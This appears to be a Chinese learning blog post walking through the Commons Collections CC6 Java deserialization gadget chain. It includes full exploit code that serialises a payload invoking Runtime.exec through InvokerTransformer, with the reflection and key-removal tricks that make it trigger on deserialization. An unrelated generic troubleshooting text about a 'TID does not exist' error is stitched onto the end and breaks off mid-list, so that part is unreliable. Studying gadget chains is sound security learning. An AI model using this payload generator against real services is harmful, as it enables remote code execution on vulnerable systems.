cc6分析

本文深入探讨了HashMap的readObject方法调用链,分析了TiedMapEntry类和LazyMap的交互,以及在序列化过程中的问题。通过反射和ChainedTransformer解决了在put操作中不希望执行特定逻辑的挑战。同时,文章提到了调试过程中的困惑,并提供了相关代码示例。

cc6分析

HashMap.readObject

调用链

HaspMap.readObject.hash()
	-->TiedMapEntry.hashCode()
		-->TiedMapEntry.getValue()
			-->LazyMap.get()
				-->ChainedTransformer.transformer()
					-->InvokerTransformer.transformer()

由后至前分析

调用链后半部分和cc1相似,我们从LazyMap.get开始分析
看哪个类调用了get方法

TiedMapEntry

TiedMapEntry类中有getValue方法,其调用了get方法

在这里插入图片描述

而在这个类中的hashCode方法中,其又调用了getValue方法

在这里插入图片描述

流程:TiedMapEntry.hashCode-->TiedMapEntry.getValue-->get
看到这个hashcode就可以想到之前审URLDNS链的时候,也是遇到的这个东西,需要用到HashMap类

HashMap

HashMap.readObject中调用了hash方法

在这里插入图片描述

跟进hash方法,会调用hashCode方法,这个就和上面的接上了

在这里插入图片描述

反射给lazyMap对象赋值

因为put的时候,会触发hash方法,然后就会在序列化的时候去执行transformer,这不在我们的预期内,我们要把这个调用过程给断掉

所以在给lazyMap类对象赋值的时候,使用一个ConstantTransformer(1)来将这个过程给断掉

然后在put之后,使用反射进行重新赋值

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map m = new HashMap<>();
        Map lazyMap = LazyMap.decorate(m, new ConstantTransformer(1));
        //TiedMapEntry.getValue()中调用了get方法
        //TiedMapEntry.hashCode-->getValue-->get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        //tiedMapEntry.getValue();

        Map map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        //为什么要在这里用反射呢?
        //我的理解是因为这个过程中会用到put,但是put就会触发hash,但是我们不想在这里执行弹计算器;所以先在LazyMap.decorate中整一无关的类对象,然后再最后使用反射将值改回去,这样put的时候就不会弹计算器,但是序列化的过程是正确的
        Class c = LazyMap.class;
        Field factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        //将lazymap对象的factory变量赋值
        factoryfield.set(lazyMap,chainedTransformer);

        serialize(map2);
//        unserialize("ser.bin");

但是到这里还是不能正常运行,我们来分析put方法具体干了什么

关于put方法的理解

在put方法中,会调用hash方法,然后程序会进到LazyMap.get方法这里

在这里插入图片描述

注意这个get()方法,是有一个if判断的,我们序列化的时候,map里面是没有key的,所以会进入if里面,但是会有map.put将key的值给赋给map;所以我们反序列化的时候,就不会再进入这个if语句里面,也就不会调用transfomer方法

所以在map.put下面需要添加一个remove

        Map map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa");

遇到的一点点问题

在调试的过程中,我想看上面的put那里是怎么回事的时候,碰到了一点问题,还没有解决,我想应该是工具的问题

  1. 我将断点下在 map2.put(tiedMapEntry,"bbb");
    在这里插入图片描述

然后跟进到get方法调用那里,map类对象有了键值aaa,所以这里没有执行transformer

在这里插入图片描述

  1. 我将断点直接下在LazyMap.get里面
    这里LazyMap类对象没有值,所以进入到if条件语句里面了,调用了transformer
    在这里插入图片描述

emmm,刚学java没多久,idea也调试得不清楚,所以这里还是不明白(如果有大佬明白,麻烦告知小弟一下)

exp

package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6Test {

    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    //定义unserialize方法
    public static Object unserialize(String Filename ) throws  IOException,ClassNotFoundException{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));
        Object obj = objectInputStream.readObject();
        return obj;
    }

    public static void main(String[] args) throws  Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map m = new HashMap<>();
        Map lazyMap = LazyMap.decorate(m, new ConstantTransformer(1));
        //TiedMapEntry.getValue()中调用了get方法
        //TiedMapEntry.hashCode-->getValue-->get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        //tiedMapEntry.getValue();

        Map map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");

        //这里为什么要remove????
        lazyMap.remove("aaa");


        //为什么要在这里用反射呢?
        //我的理解是因为这个过程中会用到put,但是put就会触发hash,但是我们不想在这里执行弹计算器;所以先在LazyMap.decorate中整一无关的类对象,然后再最后使用反射将值改回去,这样put的时候就不会弹计算器,但是序列化的过程是正确的
        Class c = LazyMap.class;
        Field factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        //将lazymap对象的factory变量赋值
        factoryfield.set(lazyMap,chainedTransformer);

        //serialize(map2);
        unserialize("ser.bin");


    }
}

这篇文章其实写得还是很乱的,建议到参考链接中看大佬的cc链讲解视频,讲得真的很好!!!

参考链接

  1. cc链6讲解
在处理系统错误时,`TID does not exist` 错误通常与事务标识符(TID)或请求标识符(RID)相关的问题有关。此错误表明系统尝试访问一个不存在或无效的事务标识符,可能与分布式系统、数据库事务、网络请求或日志记录机制相关。以下是一些常见的排查和解决方法: ### 1. 日志分析 检查系统日志或应用程序日志,查找与 `TID does not exist` 和 `RID: 68a4638b-2b234893-11373cc6` 相关的详细信息。日志通常会包含上下文信息,例如: - 发生错误的时间戳 - 涉及的模块或服务 - 错误发生前的操作序列 - 是否有其他相关错误或警告信息 ### 2. 网络请求追踪 如果该错误出现在网络请求处理过程中,可以使用网络分析工具(如 Wireshark 或 Fiddler)来捕获和分析请求的生命周期。重点关注: - 请求是否正确发送 - 服务器是否接收到请求 - 服务器是否在处理请求时发生异常 ### 3. 事务管理问题 在数据库或事务处理系统中,`TID does not exist` 可能表示事务未被正确初始化或已过期。需要检查: - 事务是否已正确开始 - 事务超时设置是否合理 - 是否存在并发问题或事务隔离级别配置不当 ### 4. 服务依赖检查 如果系统依赖于其他服务(如认证服务、数据存储服务等),请确保这些服务正常运行。可以通过以下方式验证: - 检查服务状态和健康检查接口 - 查看服务之间的通信是否正常 - 验证服务配置是否正确(如端点地址、凭据等) ### 5. 代码审查 在应用程序代码中查找与 `TID` 和 `RID` 相关的逻辑,确保以下方面: - `TID` 是否在使用前被正确初始化 - `RID` 是否被正确传递到后续处理步骤 - 是否存在空指针或未处理的异常情况 ### 6. 调试与测试 可以通过以下方式进行调试: - 在关键代码路径中添加调试日志,记录 `TID` 和 `RID` 的生成与传递过程 - 使用单元测试或集成测试模拟相关场景,验证系统的处理逻辑 ### 示例代码:日志记录中的 TID 和 RID ```python import logging import uuid # 配置日志记录 logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - TID: %(tid)s - RID: %(rid)s - %(message)s') def process_request(): tid = str(uuid.uuid4()) # 生成唯一的事务ID rid = "68a4638b-2b234893-11373cc6" # 固定的请求ID logging.debug("开始处理请求", extra={'tid': tid, 'rid': rid}) try: # 模拟处理逻辑 if not validate_transaction(tid): logging.error("TID does not exist", extra={'tid': tid, 'rid': rid}) return # 其他处理步骤 except Exception as e: logging.exception("处理请求时发生异常", extra={'tid': tid, 'rid': rid}) def validate_transaction(tid): # 模拟事务验证逻辑 return False # 假设事务无效 process_request() ``` ### 7. 性能监控 使用性能监控工具(如 Prometheus、Grafana 或 Application Insights)跟踪系统性能指标,重点关注: - 请求延迟 - 错误率 - 事务处理时间 ### 8. 配置检查 确保系统配置文件中与 `TID` 和 `RID` 相关的参数正确无误,例如: - 事务超时时间 - 请求处理队列大小 - 日志记录级别 ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值